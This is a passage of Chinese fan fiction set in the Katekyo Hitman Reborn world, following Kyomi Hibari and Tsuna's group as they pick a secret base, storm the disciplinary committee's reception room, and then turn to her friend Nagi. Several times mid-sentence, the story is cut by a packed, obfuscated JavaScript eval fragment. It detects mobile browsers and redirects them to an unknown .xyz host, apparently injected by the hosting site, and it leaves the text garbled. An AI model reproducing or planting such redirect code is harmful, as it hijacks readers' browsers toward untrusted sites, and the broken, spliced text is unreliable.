“真是太周全了!身为黑手党家族,我们的确需要秘密基地这样的地方,不愧是十代目,果然深谋远虑!” “喔!家族基地兼部活室吗?感觉很有意思啊,我也来帮忙好了!”山本也兴致勃勃地接话。 事已至此,完全没办法拒绝的沢田君偷偷转过头,对我露出了无意识的求助眼神。 【秘密基地什么的太奇怪了!而且很容易被当成不法分子被风纪委员制裁的吧?京弥同学也快说些什么吧T_T】 他的表情是这样告诉我的。 【比起秘密基地,其实我更在意狱寺君说的话……虽然知道你们在玩黑手党游戏,不过居然还要有秘密基地,难道优先度已经和学生会差不多了吗?】我试图用眼神传达出我的疑问。 【?!】 随后,沢田君忽然眼皮抽筋一样,表情乃至整个身体都僵硬了一瞬,假装没有看懂似的移开了视线。 其实只是随口问问,他反应居然这么大吗…… 不过,没等我开口说些什么,Reborn便将目光投向了我,微微勾起嘴角。 “既然如此,就让狱寺和山本加入,让身为会长的京弥来评判吧。”他一边说,一边窸窸窣窣地从口袋(完全不懂那种cos服到底是从哪里来的口袋)里掏出了手机,黑漆漆的眼睛盯着我,奶声奶气地问,“你觉得呢?” 我:“……” “没问题。”我干巴巴地说,“我会配合的。” - 答应Reborn的后果就是,接下来的整个下午,我都和沢田君他们跑前跑后,甚至翘掉了一节体育课。 狱寺君找到的是特别教学栋一层的钢琴教室,教室背靠着一片隐蔽的空地,很适合在这里商议重要事务或者练习炸药……虽然我觉得只有他会想练习这种东西。 “这样无论是战术规划还是战斗练习都可以在一个区域解决了!”他的眼睛一闪一闪的,似乎沉浸在某种想象之中,“如果在这里驻扎,彭格列一定可以很快统一里世界,成为黑手党中唯一的头目——对吧十代目?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229341|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯……啊哈哈……”沢田君干笑了两声,眼睛似有若无地瞟向我,看起来有些坐立不安。 注意到他的眼神,我抬起头。只是,刚和他对上双眼,他便有些僵硬地移开了视线,同时解释道:“狱寺君说得只是黑手党游戏而已!京弥同学不要在意!” 狱寺:“……”他臭着脸看了我一眼,没说话。 这时,消失已久的Reborn又从教室里挂着的贝多芬肖像中浮现了出来——这家伙居然浑身涂满了油彩,像变色龙一样隐匿在画上。 真是恶趣味…… “呜啊!”原本还在假装四处看风景的沢田君被吓了一跳,随后有些恼怒地冲他喊,“你怎么在这儿啊!” 小婴儿露出无辜的眼神,同时一脚踹上了倒霉的沢田君:“注意你的措辞,沢田同学,我可是学生会的指导教师哦。” 沢田纲吉:“……” 指导教师慢悠悠地走到我跟前,抬起头:“你觉得怎么样,京弥?” “真的要让我说?”我看了眼狱寺。 他似乎势在必得,尽管好像对我有点意见,不过还是略微扬起了下巴,似乎完全不担心被否定啊。 “你可是会长。基地选得不好是他们的问题,你有权力否决他们任何一个人喔。”Reborn意味深长地告诉我。 反而是沢田君,有些担忧地望着狱寺。 【虽然很平易近人,不过京弥同学在某些方面还是很严格的……而且这个教室总觉得有点引人注目,呜哇,狱寺君不会被批斗吧……】 当然,我对沢田君的心理活动一无所知。 考虑到这也是接下来学生会的部活教室,我认为不能太讲究,于是组织了一下语言,坦诚道: “老实说,完全不合适。” 狱寺先是一滞,随后瞪大了双眼:“什…!” “这里的贵重乐器很多,如果想利用教室后方的空地来练习炸药的话,无论是否直接破坏教室内部,炸药都会对乐器有损害。所以你说的练习根本是不切实际的。” 山本睁大眼:“喔,确实是这样呢!” “而且这里是一层最靠楼梯口的教室,来往人群很多,就算关上门窗,多少也会听到外面的声音,在里面办公很容易受影响。” 沢田:“欸,真的!” 除此以外…… 顿了顿,我又说: “而且。” 这下,就连狱寺也看了过来。 “而且,这片空地不止你一个发现过。”我慢吞吞地说,“其实,风纪委员如果想偷偷处理什么人,一般都会带到这里来。因为音乐教室闲置的时间更多,所以无论是揍人还是勒索,在这里都很方便。” “……” 空气似乎凝固了几秒。 在沢田君“风纪委员果然很恐怖”,山本“果然是风纪委员会的作风呢”的目光之下,上半张脸覆盖着阴影,无言以对但明显不太服气的狱寺君问出了最重要的问题: “可恶…你这家伙怎么知道这些的?” “因为前男友都在这里被打过。”我客气地回答。 15.正义执行 “虽然狱寺君的音乐教室被否决了,但是体育馆未免也太离谱了!”我吐槽道,“不管是哪个学校都没有部活教室在体育馆的学生会吧?” ……没错,挑选秘密基地的我们,目前正站在空荡荡的体育馆中。 在狱寺选择了音乐教室而被我提出质疑之后,山本君就马不停蹄地带领我们来到了他心中合适的场地。 合计六百平米、一共两层的校体馆。 “话也不能这么说啊,”山本摸了摸鼻子,指向上方的看台,看起来很认真地对我说,“上面的座位很多啊,很适合大家一起交流呢。而且下方也很宽阔,无论是棒球还是狱寺的烟花都可以在里面练习,很不错对吧?” “我看你根本就是自己想打棒球吧,嘁,真是棒球笨蛋……”狱寺撇了撇嘴,脸色很不好地看向我,有些不耐烦地催促,“喂,快否决他啊,哪里有人会拿这种地方当基地的!?” ……这个人虽然某些地方很脱线,但意外的有常识啊? 我忍不住多看了他两眼,在狱寺炸毛之前,清了清嗓子,宣布道: “完全不合格。” “哎呀,果然是这样呢……”好脾气的山本君苦笑着挠了挠头,很快便打起了精神,将目光转向沢田君,“既然如此,那就只能靠阿纲了啊。” 狱寺捕捉到关键词,当即答到:“十代目找到的基地绝对比你好靠谱多了!对吧十代目?” “哈……”沢田纲吉扯着嘴角笑了下,额边滑过一滴冷汗。 【完全没有啊!照我看来其实狱寺君最开始选的那一间教室已经很不错了……虽然会被风纪委员找茬…】 “你很受部下们的信任呢。既然如此,就更不能辜负他们了。” 空旷的体育馆内,又传来熟悉的稚嫩声线。 阳光透过天窗洒落在整洁明亮的地板上,我环顾了一圈,没看见小婴儿的身影,不由“咦”了一声。 “Reborn?”沢田君也有些疑惑地四顾望去,没有找到对方,小声嘀咕,“这家伙又躲到哪里去了……真是的。” “——在这里哦。” 安静停在一边的篮球车忽然发动,以一种令人瞠目结舌的速度向我们冲撞过来。 不锈钢篮球车的轮子疯狂转动,整辆车在偌大体育馆里横冲直撞,不用想都知道是谁在搞鬼。 我猜Reborn心里有数,不会真的撞到我,干脆单手插进口袋,歪了歪头,好整以暇地看着他们。 然而,沢田君却似乎非常紧张。他咬着牙挤到我前面,将我向后方轻轻一推,声音干涩地提醒我:“小心,京弥同学!” 我不由一愣。 与此同时,最中间的篮球忽然发出“啪”的轻响,伴随着奇怪的彩带与礼花,Reborn如同复活节彩蛋里的兔子一样,从篮球里跳了出来。 “Surprise~”他尾音上扬着说。 “什么‘Surprise’啦!”沢田纲吉有些不满地对他喊道,“篮球车里可是满的,你这样做很危险啊!” 不过,大概是他抱怨过太多次,Reborn干脆已经无视了他。小婴儿睁着圆圆的双眼,对我说:“既然只剩下一次机会,就由京弥再陈述一下要求好了。” 在沢田君“别总无视我啊”的背景音中,Reborn略微停顿了一下,又直直地看向沢田纲吉,语气平淡无波地补充道: “对了,如果第三次还是没能成功找到合适的基地,你们四个就去澳大利亚的袋鼠家里学习拳击吧。” 沢田纲吉:“……” 我:“……” 什么,居然是“我们四个”而不是“他们三个”吗?!根本就是连坐啊,他早说的话我就选第一个音乐教室了! 不过真的在震惊的好像只有我和沢田君,不知道为什么,狱寺和山本好像对沢田怀抱着了迷之自信,甚至看起来有点期待我列出非常困难的需求…… 考虑到Reborn掌握着理事长女士的联系方式,如果挑唆取来说不定真的会把我流放到澳洲去,我只能含泪接受了这位世界第一杀手的连坐制度。 我说:“只要环境安静,容纳人数合理就可……” Reborn:“如果放水的话就先去动物园里和袋鼠一起拳击。” 我:“…你是魔鬼吗?!” Reborn一言不发,漆黑的眼睛望过来,同时脑子上的小变色龙爬到他手中,缓缓幻化成了一部手机。 “……” 虽然很想吐槽这条变色龙魔幻的功能,不过情况紧急,来不及了! 我只能一边观察着Reborn的脸色,一边若无其事地继续: “只要环境安静,容纳人数合理,楼层足够高,设施齐全,有单人沙发,坐北朝南,窗帘遮光效果好,空调制冷出色,窗边视野好,室内有一定的绿化,不容易被打扰……就好。” 沢田君同样对我露出了“你是魔鬼吗”的惊惧表情,但因为我也是受到了Reborn的胁迫,他的脸色几经转换,最终变成了“为什么Reborn连京弥同学也能威胁到”的无力表情。 …当然是因为他掌握了我的经济命脉!话说回来,沢田君的表情也太好懂了点,黑手党Boss这副样子真的没问题吗? 我决定给他一些时间去消化这些需求。 于是,在长达两分钟的沉默之后,命很苦的沢田纲吉君,终于在大家的注视之下,举起一根手指,满脸勉强,有些不确定地开口: “校、校长办公室…?” “回答错误。”Reborn举起一块画着红叉的牌子。 “怎、怎么会?!呜啊,不会真的要去澳大利亚和袋鼠拳击了吧……”沢田纲吉抱住脑袋,脑中很快浮现出了另一幅画面。 夕阳吸引,广袤的澳洲大草原上,他被迫只穿着平角裤,双手戴着拳击手套,被一群袋鼠追在身后,身后跑出滚滚浓烟。同样衣衫褴褛的朋友们站在一旁,热泪盈眶地为他呐喊。 而他回过头,刚看了一眼京弥,就被留着飞机头、浑身肌肉的袋鼠包围,拳打脚踢起来,其中一只还披着黑色外套,戴着红色的风纪袖章。 【不要啊!无论是去澳洲和袋鼠拳击就已经很恐怖了,连累京弥同学的话会被云雀学长追杀的吧,太恐怖了!】 他情不自禁地流下了宽海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238171|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带泪:“Reborn……” 我:“……” 等等,怎么回事啊?沢田君好像脑补了很不得了的东西,简直像是看到了人生尽头一样啊? 不对,仔细一看,好像连狱寺君的脸色也很凝重……山本君更是已经开始拿“没关系我们三个加起来应该可以打过袋鼠”这种话在安慰大家…这几个人真的没问题吗? 眼看着气氛逐渐变得悲情,我忍无可忍,只能顶着Reborn深邃的目光,艰难开口: “实在不行的话,让我来找也可以吧?” 小婴儿又露出了意味深长的微笑。 “你确定吗,云雀京弥?”他说,“只有彭格列家族的成员才能参与基地的正式选择哦。” “那你刚刚说要流放的时候倒也把我排除了啊。”我忍不住吐槽。不过很快地,我又正下神色,冷静地说: “因为我提出的要求太多了,对于沢田君他们来说也很为难吧。不过,其实我心中早就有合适的教室备选了。” - 之前已经说过,接待室有着豪华的柔软沙发、质感厚重的木制办公桌,价格不菲的落地盆栽,是风纪委员会专用的办公室。 之前还说过,身为并盛地头蛇、风纪委员长的云雀恭弥曾经告诉我,如果心仪的部活教室已经被其他部门占领,那就抢过来。 ——没错! 事已至此,为了不让大家一起去澳洲打袋鼠,我的计划就是率领大家占领接待室! 目前是下午2:35分。根据我的观察,这个时候的云雀恭弥刚刚结束午休,大概率在操场或者教学楼巡视。 通常来说,他巡视一个区域所花费的时间刚好十五分钟。保险起见,我们最好按照他只巡视一个区域的用时来算。 我低下头,慢悠悠地从口袋中取出生徒會的袖章,慢条斯理地别上衣袖,又略微整理了一下自己的领口与衣摆。 狱寺山本跟在我身后,表情隐隐有些兴奋。 “我们有最多十五分钟的时间。只要干掉里面的风纪委员,这间全校最豪华的接待室就是我们的了。”我说。 狱寺已经将炸药捏在五指间,此时眉毛一扬,目光炯炯地看向头顶写着“接待室”的门派。 “身为左右手,我一定会为了十代目抢下这间教室的!你们两个离我远点,别添乱。” “啊。”山本武应了一声。他单手拿着球棒,将它背在身后,冲着我笑了笑,“云雀的提议很有意思,而且我对占领地盘的游戏可是很擅长的,也不会输的。” 沢田纲吉有些踌躇地看向我:“这样真的没问题吗,京弥同学…?” 我也笑起来,对着他眨了眨左眼,露出尖尖的虎牙。 “当然没问题。”我大方地说,“哥哥的就是我的。就算我们抢下接待室,它也还是姓‘云雀’,对吧?” “话是这么说……” “嗯嗯,就是这么说的。”我说着,一脚踢开接待室的大门,带着兴致勃勃的狱寺与山本,在风纪委员怔愣的目光当中,抬起胳膊露出学生会的袖章。 “学生会要务执行,无关人员速速散开。”我扬起声音道。 16.我来造反咯 “大、大小姐,你这是?!” “我来造反咯。”云雀京弥颇具幽默感地回答。 此时大部分风纪委员都分布在校内巡逻,因此接待室里只坐着三五个飞机头。 这群人用见了鬼的目光眼神瞪着云雀京弥与她身后的人,看起来CPU快烧干了。 直到其中一位风纪委员憋出来一句:“啊?” 京弥客气地说:“接待室现在是我的了,麻烦你们出去。” “什…?!” 在他们反应过来之前,狱寺君已经将点燃的炸药甩了出去。 “砰——!” 仿佛是狱寺针对“在音乐教室后殴打同学”的风纪委员的报复,距离窗户最近的那位,在滚滚烟尘中直接被轰飞了出去,连惨叫都没能发出来。 同一时间内,山本也以挥舞球棍的姿态,从背后敲晕了一个人。 余下的飞机头们纷纷紧张起来。不过,他们毕竟在委员长手下工作,对于这些混乱场面意外地接受力很强,没过多久,便已经捏着拳头冲过去,和狱寺山本君扭作一团。 另一方面,狱寺君有着威力不小的炸药作为武器,山本则陷入了击打棒球般的玄妙状态,两人面对风纪委员居然毫不发怵,二对多甚至还游刃有余。 接待室里充斥着“炸裂吧”“本垒打”“救命啊”等乱七八糟的呼叫,场面堪称鸡飞狗跳。 然而,始作俑者的京弥同学只是斜靠在门边,若无其事低头端详着手中的硬币…不过她一向都不是很健康,纲吉也没办法想象她加入混战的模样。 老实说,那种场面大概会和云雀学长面露微笑向大家打招呼一样惊悚吧…… “呜啊!” 风纪委员的哀嚎把他愈发飘远的思绪扯了回来,沢田纲吉回过神,才发现接待室的风纪委员居然都已经被解决了! “狱寺君,山本…”他流着冷汗叫住另外两个同伴,看了眼倒地不起的风纪委员们,有些犹豫地说,“这样就够了吧?” 总不能把他们都扔到窗外去吧?这里可是三楼,扔下去怎么说也得住一个月院、说不定之后还会被打击报复! 更重要的是,他总有种预感,如果被发现,云雀学长一定不会善罢甘休的…… 【一、一定不能让云雀学长看见!】 怀抱着这样的心情,他走到窗边,掩耳盗铃般地拉上窗帘,打开日光灯,才终于松了口气。 “虽然是需要满足Reborn说的条件没错啦,不过这样明目张胆的挑衅风纪委员真的没问题吗?”他说着,有些紧张地看了眼京弥,想从她的回答中寻找一些令人心安的线索。 虽然他完全没有参与斗殴,也根本没有提出什么主意,但还是忍不住操起了最多的心。 然而,京弥指了指另外两人(主要是狱寺),很认真地回头看向他,反问: “欸,你们不是很厉害的黑手党家族吗?怎么还会怕风纪委员?” 沢田纲吉:“……” 为什么在这种时候承认黑手党的设定了啊! 狱寺:“哼,你倒是有点眼光。” 山本:“哈哈哈,云雀说得也没错呢!” …而且这两个人也完全没当回事! 发现只有自己意识到了问题严重性,沢田纲吉绝望地抱住脑袋: “但是那个可是云雀学长啊!虽然不用被流放澳大利亚了,但是被他发现我们抢了接待室他一定会生气的——呜哇,说不定会被杀掉的啊!” 彭格列十代目已经彻底沉浸在对世界末日到来的恐慌之中了。 “别担心十代目!身为左右手,我一定会干掉那个云雀,解决您的烦恼——彭格列绝对不会输给一个小小的学生组织!” 狱寺隼人拍案而起,左手撑着桌面,右手握拳,微微昂起头,眼中忽然亮起来熊熊火焰: “这就是我证明自己的机会!” ——这个人又擅自燃起来了! 他顿时一个头两个大,一时半会没想到该如何劝狱寺君放下这个念头。虽然狱寺君很厉害没错啦,不过云雀学长可是能一个人单挑一群不良少年的恐怖存在,完全不是普通人类的范畴了…… 他最终只能把求助的目光放回到京弥身上。 注意到他的视线,云雀京弥微微蹙眉,沉思了一会儿,然后想到什么似的,对着沢田纲吉微不可查地点了点头,大概是“没问题”的意思。 沢田纲吉心中对她的敬意油然而生。 【太可靠了……京弥同学不愧是传闻中的超级优等生,即使是陷入自己世界里的狱寺君也有方法应对!】 毕竟狱寺君可是把风纪委员扔下楼了啊,这对他来说未免过头,如果能劝说狱寺君冷静下来的话,他也不用这样提心吊胆了。 如果是京弥同学的话,绝对是可以相信的! 他睁大双眼,充满期待地看向京弥。 他看见云雀京弥面不改色地走到狱寺跟前。 狱寺君似乎对她被Reborn看好这件事耿耿于怀,见到京弥靠近,立刻拧起眉,有些警惕地看向她: “做什么?” “‘小小的学生组织’这种话,说出去可是会挨揍的。”云雀京弥说,“还有,现在大家都是学生会的成员,可别小看学生组织喔。” “什么?”狱寺愣了一下,随后眉头皱得更紧了,“你是在挑衅吗?” 本来以为她是在维护云雀学长,结果只是很在意学生会被小看这件事吗……?! 一边在心底尽职地吐槽,一边情不自禁地露出了死鱼眼,纲吉心中叹了口气,还是认命地靠近过去,准备在冲突之前解决好两人的矛盾。 京弥道:“我只是在提醒狱寺君,你太敏感了。” “用不着你提醒,更何况加入学生会不是你强迫的吗?”狱寺君的脸更臭了,“那种学生组织里大部分都是杂鱼,根本不……” 忽然。 “砰——” 门从外面被一脚踢开。 沢田纲吉抬起头,随后,整个人僵硬成了一座行将风化的石像。 在众人惊愕的目光中,披着外套、神色冷淡的黑发少年缓步走进来。 狱寺隼人睁大眼,坚持吐出了最后几个字:“……不足为惧。” “……” “哇哦。”云雀恭弥似乎笑了,重复了一遍,“不足为惧。” 他说完,垂下眼,面无表情地扫视了一圈接待室,在看到地上横躺着的风纪委员后,眉头微微一扬。 紧接着,他的目光准确锁定在了云雀京弥身上。 云雀恭弥:“你很厉害啊,京。” 沢田纲吉:“……”咿!!! 是在嘲讽吧、云雀学长已经生气到出言嘲讽了啊! 他小心翼翼地觑着这对兄妹,不由在心底抓狂呐喊。 总觉得下一秒云雀学长就要出手了…太危险了,成为学生会成员搞不好比变成黑手党还危险啊! 接待室里出现了诡异的沉默。 接收到兄长心情不虞的信号,京弥忽然露出了前所未见的无辜表情。她眨了眨眼,微微抬脸看向云雀,以一种格外无辜、几乎与Reborn折磨他时相似度100%的表情,慢悠悠说道: “我只是谨遵哥哥教导,把想要的部活教室抢过来了而已喔。” 随后,顶着另外三人或诧异或惊恐的目光,她走上前,抬手按住云雀恭弥的肩膀,若无其事地把大魔王向门外推去: “这里现在还没整理好,有点脏乱。哥哥先去外面等一下吧,我收拾好了你再进来坐。” 云雀恭弥:“?” 他好像愣了一下。 随后,委员长抽出浮萍拐,冷着脸转向沢田。 沢田纲吉:“?!” 好像是因为被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260901|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京弥同学用奇怪的方式糊弄所以很不爽、但是没办法真的对她出手,于是想在其他人身上发泄怒火的样子啊…? 这个人、难道是什么不能对妹妹出手的妹控吗?! “…对不起云雀学长,我们这就出去!” 他极为识时务地出声道歉,拉着不太情愿(甚至看起来很想和云雀学长一决高下)的狱寺君,以及完全没看出气氛诡异的山本,强笑着向门外走去。 “哥哥出去就好。沢田君他们还要和我一起收拾接待室呢。”京弥说。 “……” 立刻逃走躲避麻烦的愿望告罄,他只得含泪望向京弥。 所幸,或许是他的倒霉表情取悦了云雀,他们老虎脸上捋须的行为竟然没有遭到报复。 …倒不如说,云雀学长居然真的听了京弥同学的话,收起浮萍拐,又臭着脸离开了接待室! “居然真的从云雀学长手中活下来了……”他睁大眼,盯着云雀恭弥远去的背影,有些不可思议地呢喃道,“难不成京弥同学真的有什么办法吗?” 然后,他眼睁睁地看着京弥同学飞快跑过去关上门,将它反锁,又麻利地拉起窗帘,把窗户打开到最大,最后看向他。 云雀京弥:“大家动作快点吧。” “…欸?” “窗户下面有空调外机,踩着下去的话就可以跳到隔壁的会议室,再从会议室另一扇窗户跳下去,能踩着平台到二楼。这样就可以从二楼的走廊逃走了——恭弥的耐心很差,动作得快一点才行。” 她顿了顿,注意到他有些呆滞的神色,贴心地问:“需要我重复一遍吗?” 沢田纲吉:“…所以说根本只是在拖延,然后趁着这段时间赶快逃走吗?!” 不出意外的话,上一章的最后她还势在必得地说着“没关系哥哥的东西就是我的”这种话吧,结果真的遇上云雀学长还是要逃跑吗! 京弥叹了口气,以一种恨铁不成钢的失望眼神看着他:“如果不跑的话就要被揍了,我是为了你好啊,沢田君。” “不是这个问题吧!”他吐槽道。 “这也是迫不得已呀。Reborn不是说了找不到合适的秘密基地就要去澳洲么,如果他真的联系上母亲的话说不定真的会把我们送出去的,而且那种话当然只是骗骗你们啦,如果不那么说的话大家一定会因为要和哥哥对上而没有勇气和我一起的。 “退一万步来说,被哥哥打进医院可比被流放好多了,澳大利亚可是有很多蜘蛛的喔。” 出现了!和最开始一样,用大量长难句来掩盖尴尬的事实! 而且被蜘蛛咬真的比直面云雀学长要好吗?! “——什么?居然是骗我们的吗?!” 已经从窗台爬下去、正挂在空调外机上的狱寺惊愕地抬起头,瞪着京弥,咬牙切齿地自语道:“你这家伙,Reborn先生居然会相信这种女人……” 京弥:“以防万一,狱寺君请再快一点。” “知道了!”狱寺满脸不耐,下意识地抬头吼道。不过很快,已经从空调外机爬上去,站在隔壁教室窗口,探出头的他略微停顿了片刻,又露出了有些迷茫的表情,“我为什么要听你的话啊…?” 不过,没等他思考出结果,被催促着离开的山本武也爬了上来。 “咦?狱寺说得有道理啊。”山本摸了摸后脑勺,也露出了稍许思考的表情,“其实我原本也想着和云雀好好说说、让他不要追究的,结果不知不觉就听了京弥的话呢,哈哈。” 狱寺已经摸着下巴,彻底陷入了沉思。 “当初蠢牛也一直叫她‘女巫’,莫非……” 在沢田纲吉一边吐槽,一边颤颤巍巍爬上去时,听到的就是这样的话。 “…莫非云雀京弥真的有异能力,能让人按照她说的做?!” 他一抬头,看到狱寺的头顶亮起了灯泡。 17.沢田君很担心你 总而言之,抢夺接待室的计划还是圆满完成了。 放跑大家之后不久,听到动静的兄长就察觉到了不对,抽出浮萍拐,连门带锁一同破坏掉,满身低气压地踏进了接待室。 然后,在我晓之以理动之以情的劝说下,云雀恭弥终于屈服于“你亲口说想要就抢过来”的论据之下,勉强放弃了对学生会成员的追杀。 “接待室你想要就让给你吧。” 他冷哼了一声,垂下眼,在我露出欣喜的表情之前,又缓缓开口: “作为赔偿,风纪委员会新部活教室的家具费用,全部从你的零用钱里扣除。” “……”晴天霹雳! 两个月零花钱付诸一炬,我眼前一片天旋地转,顿觉前途无亮,还不如就让母亲把我抄送去澳大利亚。 而我甚至很难做出抗议,因为根据我的判断,真正算下来的话,如果要接全部重购接待室的家具,需要的金额至少在三个月以上。 云雀恭弥甚至给我打了折…… 更糟糕的是,不知道那天之后又发生了什么,狱寺看我的眼神变得格外诡异,虽然还是很不耐烦,但是其中又包含着微妙的探究欲,让我如芒在背,简直怀疑自己是不是把衣服穿反了。 然而,每当我转过头,想抓他正着时,狱寺又总是能以最快的速度收回视线,毫无破绽——这家伙是什么猫科动物吗,把我当逗猫棒玩呢? 这样的生活对我而言实在太煎熬了,因此,我只能一有空就躲进接待室玩手机,以此逃避自己血亏的人生。 鲔鱼:【今天要一起来天台吃便当吗…?狱寺君和山本也都在的】 打飞大魔王:【如果碧洋琪さん也在的话就可以 鲔鱼:【欸、为什么?!】 鲔鱼:【碧洋琪的料理很恐怖——如果和她一起的话一定会吃到奇怪的东西然后进医务室的啊!】 鲔鱼:【[恐慌][恐慌]】 打飞大魔王:【因为这样狱寺君就不会用奇怪的眼神看我了】 鲔鱼:【哈……】 鲔鱼:【我会和狱寺君说的!T.T】 鲔鱼:【要来吗?】 我瞟了眼桌上吃到一半的饭团,忍不住阖上眼我,幽幽叹了口气。 打飞大魔王:【已经吃得差不多了,下次一起吧】 鲔鱼:【[兔子担忧]】 我切出和聊天界面,食不知味地咬了口饭团,点进另一个对话框里。 上一次聊天还是在昨晚,我没有回复。 Nagi:【我现在都很好】 手在按键上停滞了片刻,我不自觉地叹了口气,随手选择了一张贴纸,发送。 打飞大魔王:【[兔子可怜]】 打飞大魔王:【下午去找你,可以吗?】 对方的在线状态很快亮起,最上方的ID变成了“正在输入中…”。 我耐心等候着,显示输入的字体来来回回变了四五次,才收到对方发来的消息。 Nagi:【好】 - 我和Nagi的缘分,要追溯到更久远的小学时期。 大概是在四年级的时候,母亲因为工作刚好要回国,那时候我恰好因为换季感染了肺炎。 由于此前我小病不断,总是调理不好,她便干脆把我接到了医疗系统更出色的文京区,在誠之小学暂读了一个学期。 Nagi是我在誠之小的第一个朋友。 她性情内敛,有些怕生,因此在班上很长一段时间都是透明人的状态。 誠之小这种排位极前的学校,里面的学生或多或少都有一些优越感,八九岁又是小孩没有树立起正确价值观的时候。身为插班生,她性格不讨喜、成绩只能勉跟上,父母也不太在意,于是理所当然地成为了大家排挤的对象。 只是我在民风淳朴的并盛多年,又沾了恭弥横行霸道的光,根本没有这种奇妙的“阶级意识”,于是毫不犹豫地靠近过去,逐渐和她有了更多交流。 后来我才知道,她不叫“Nagi”,而是叫凪。 就如誠之小的大部分学生一样,凪的母亲是演员,继父是外资企业的高管,看起来有着不错的家庭条件。 后来我渐渐发现了问题。凪不太擅长与人交流,这没什么,可她的母亲认为这种孤僻是“精神有问题”,继父对此更是不管不问。凪和我说,她来誠之小只是因为母亲需要这份体面,而继父又刚好调任,在文京过渡。 我想她一定很彷徨。 “我的家乡在并盛。”我告诉她,“那里是个很小但很平静的城镇。” 那时候,凪看着我,微微睁大眼,脸颊泛起憧憬的红晕。 “你可以离开那个家。”我竖起食指,认真地说,“我的零花钱很多,可以攒够你小学到中学的食宿费,到那时候,你就来并盛吧?” “可,可是……”她低下头,避开我的视线,语气低落下去。 “我哥哥很厉害,他谁都能打得过,到那个时候谁也不会欺负你,就连你爸爸妈妈也不会。” “……” 我凑近了凪,轻轻抓住她的手腕,又伸出另一只手,在她面前屈起小指: “就这样决定了。来拉勾吧,好不好?” 在长久的沉默后,她终于轻轻地嗯了一声: “…好。” - 减去日常开销,再减去赔偿给恭弥的,以及留给学生会应急的金额之后,我目前手头上只有二百万円;以每个月十五万的开销来算,也不过只能花一年多一点,还不算其他意外支出。 甚至对于凪来说,每个月十五万绝对是消费降级了…… 一想到这里,我就为九岁时自己的口出狂言感到无比羞愧。 明明自称零花钱很多,但为什么根本攒不下来啊! 更重要的是,“帮助凪逃跑”是我当初亲口许下、现在也仍然想实现的承诺,可是如果直接和凪说,一定会被她以“不可以麻烦京弥”类似的借口所婉拒。 因此,只能先斩后奏,一鼓作气攒够钱转给她,才不会功亏一篑。 凪目前和母亲一起居住在涩谷的代官山,新干线大概需要两个半小时,单程票价在一万五左右……哇啊,有点肉疼,早知道上个月不买NS lite了!现在的也能用来着! 越想越不得劲,我长叹一口气,囫囵吞枣把没吃完的饭团咽下去,把手机塞进外套,准备光明正大地翘掉周五下午的全部课程。 “从这点来说,学生会会长真是不错的特权阶级啊。”我自言自语地感叹道,“就算是翘课也可以说成是处理事务,天高皇帝远,真好啊,就是有些缺钱……” “缺多少呢?” “大概四百五左右?如果学生会发展得不错的话说不定可以从妈妈那边拿到更多的资金,那样攒起来就很快……等等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260902|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 我忽然意识到不对,止住脚步,低下头。 “Ciao su~”穿着燕尾服、戴着单片镜的小婴儿冲我摘下高顶礼帽致意,“午休还没结束呢,现在就要翘课吗?” 我:“……” “虽然大概已经习惯了你的神出鬼没,但是这样真的有些吓人。”我僵着脸说。 “是吗,我看你没有被吓到的样子呢。”Reborn满脸无辜地回答。 “而且在我说缺钱的时候就立刻以资本家的打扮冒出来了,很诡异啊。”我顶着死鱼眼继续吐槽。 Reborn假装没有听见。 他三两下跳到办公桌上,从怀里摸出一张边角微卷的羊皮纸(就连这种配件也要契合打扮,这个人真的很诡异啊),伸手抬了抬单片镜,念道: “迄今为止,学生会已经完成了‘后勤部长的试炼’,‘秘密基地的试炼’两项活动,再完成第三项的话,就可以从理事长女士手中获取一百五十万円的活动资金。” 我:“?!” Reborn将羊皮纸翻转过来,上面果然以英文花体勾选了两条任务,和他刚刚所说的如出一辙。 …话说回来,这种东西没点英语门槛还看不懂,连任务字体都要符合资本家的设定吗,也太入戏了点吧! 虽然是这么想着,但我还是努力地睁大双眼,尽可能真诚地问: 